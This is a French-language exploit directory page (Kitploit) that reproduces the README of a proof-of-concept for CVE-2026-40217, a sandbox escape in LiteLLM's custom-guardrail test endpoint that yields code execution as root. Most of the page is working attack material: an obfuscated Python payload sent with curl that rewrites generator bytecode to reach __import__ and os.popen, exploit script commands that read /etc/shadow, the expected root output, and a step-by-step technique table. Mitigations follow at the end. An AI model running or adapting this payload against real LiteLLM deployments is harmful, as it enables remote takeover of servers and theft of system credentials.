Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-40217-PoC — Le code pour reproduire personnellement la vulnérabilité correspondante | Kitploit
Outils/GitHubGitHub/learner202649/cve-2026-40217-poc
Sécurité des ConteneursAnalyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHublearner202649/cve-2026-40217-poc

CVE-2026-40217-PoC

Le code pour reproduire personnellement la vulnérabilité correspondante

Voir le dépôt
4il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-40217 — Évasion de la sandbox du guardrail LiteLLM

LiteLLM POST /guardrails/test_custom_code — Évasion de la sandbox menant à une exécution de code à distance (RCE) en tant que root dans le déploiement Docker par défaut.

ChampValeur
CVECVE-2026-40217
CVSS8.8 (HIGH) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-913 (Contrôle inapproprié des ressources de code gérées dynamiquement) / CWE-94
AffecteLiteLLM ≤ 2026-04-08 (avant v1.83.11)
Corrigé dansv1.83.11+ (remplacement de la sandbox artisanale par RestrictedPython)
DécouvreurMarkus Vervier — X41 D-Sec GmbH
Publié2026-04-08
LiensAvis X41 • GHSA-wxxx-gvqv-xp7p • oss-security

Description

Le point de terminaison POST /guardrails/test_custom_code de LiteLLM permet aux utilisateurs authentifiés de soumettre du code Python arbitraire pour tester le guardrail. Ce point de terminaison tente de restreindre les opérations dangereuses à l'aide d'un filtrage du code source basé sur des expressions régulières, mais cette protection peut être entièrement contournée grâce à des techniques de réécriture du bytecode CPython, conduisant à une exécution de code arbitraire dans le processus du proxy. Dans l'image Docker par défaut, le proxy s'exécute en tant que root, ce qui aggrave l'impact.


Preuve de concept

Prérequis

root@kitploit:~
# Install Python dependencies (required by exploit.py)
pip install -r requirements.txt

Démarrage rapide (Docker)

⚠️ Important : le fichier docker-compose.yml fige l'image vulnérable à un digest spécifique (sha256:7c311546...) datant du 22 mars 2026. Ne pas modifier le tag vers main-latest ni vers une version plus récente — les images ultérieures peuvent déjà contenir le correctif (RestrictedPython) même si le numéro de version suggère le contraire (par exemple, v1.83.10-stable a été reconstruite après le correctif et n'est pas vulnérable).

root@kitploit:~
# 1. Install dependencies (if not already done)
pip install -r requirements.txt

# 2. Start a vulnerable LiteLLM instance
docker compose up -d

# 3. Run the exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key"

# 4. Read sensitive files (change the --cmd argument)
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" \
    --cmd "cat /etc/shadow"

# Or using curl directly
curl -s -X POST \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  http://localhost:4000/guardrails/test_custom_code \
  -d '{
    "custom_code": "def apply_guardrail(inputs, request_data, input_type):\n    obj = str.mro()[1]\n    def g(fn):\n        yield fn.placeholder\n    c = g(None).gi_code\n    gn = \"_\"+\"_gl\"+\"ob\"+\"als\"+\"_\"+\"_\"\n    cn = \"_\"+\"_co\"+\"de_\"+\"_\"\n    obj.__setattr__(g, cn, c.replace(co_names=(gn,)))\n    for v in g(http_get):\n        gd = v\n        break\n    bn = \"_\"+\"_bu\"+\"ilt\"+\"ins\"+\"_\"+\"_\"\n    imp = gd[bn][\"_\"+\"_im\"+\"po\"+\"rt_\"+\"_\"]\n    return {\"rce\": imp(\"os\").popen(\"id\").read()}",
    "test_input": {"messages": [{"role": "user", "content": "test"}]}
  }'

Résultat attendu

root@kitploit:~
{"success":true,"result":{"rce":"uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n"},"error":null,"error_type":null}

Technique d'évasion de la sandbox (6 étapes)


Structure du dépôt

root@kitploit:~
CVE-2026-40217/
├── README.md                  # This file
├── docker-compose.yml         # One-command vulnerable environment
├── requirements.txt           # Dependencies
├── exploit/
│   ├── exploit.py             # Full exploit script
│   └── payload.py             # Bytecode payload module
├── docs/
│   └── advisory.md            # Translated advisory details
└── screenshots/               # Proof screenshots

Mesures d'atténuation

  1. Mettez à jour vers LiteLLM v1.83.11+ (utilise RestrictedPython au lieu de la sandbox artisanale)
  2. Bloquez /guardrails/test_custom_code au niveau de votre proxy inverse / passerelle API
  3. Limitez la clé principale aux seuls administrateurs de confiance
  4. Exécutez en non-root dans Docker : docker run --user 1000:1000 ...
  5. N'exposez pas l'interface de gestion aux réseaux non fiables

Références

  • Avis X41 D-SEC x41-2026-001
  • Avis GitHub GHSA-wxxx-gvqv-xp7p
  • Avis GitLab
  • Divulgation oss-security
  • Détail NVD

Avertissement : ce contenu est fourni uniquement à des fins éducatives et pour des tests de sécurité autorisés.

Télécharger l’outil
ÉtapeTechniqueCode
1Contournement des regex par concaténation de chaînes"_"+"_gl"+"ob"+"als"+"_"+"_"
2Obtenir la classe object via str.mro()[1]obj = str.mro()[1]
3Accéder à l'objet code du générateur via gi_codec = g(None).gi_code
4Remplacer le __code__ de la fonction via object.__setattr__obj.__setattr__(g, cn, c.replace(co_names=(gn,)))
5Extraire les vraies builtins de http_get.__globals__imp = gd["__builtins__"]["__import__"]
6Obtenir une RCE via os.popenimp("os").popen("id").read()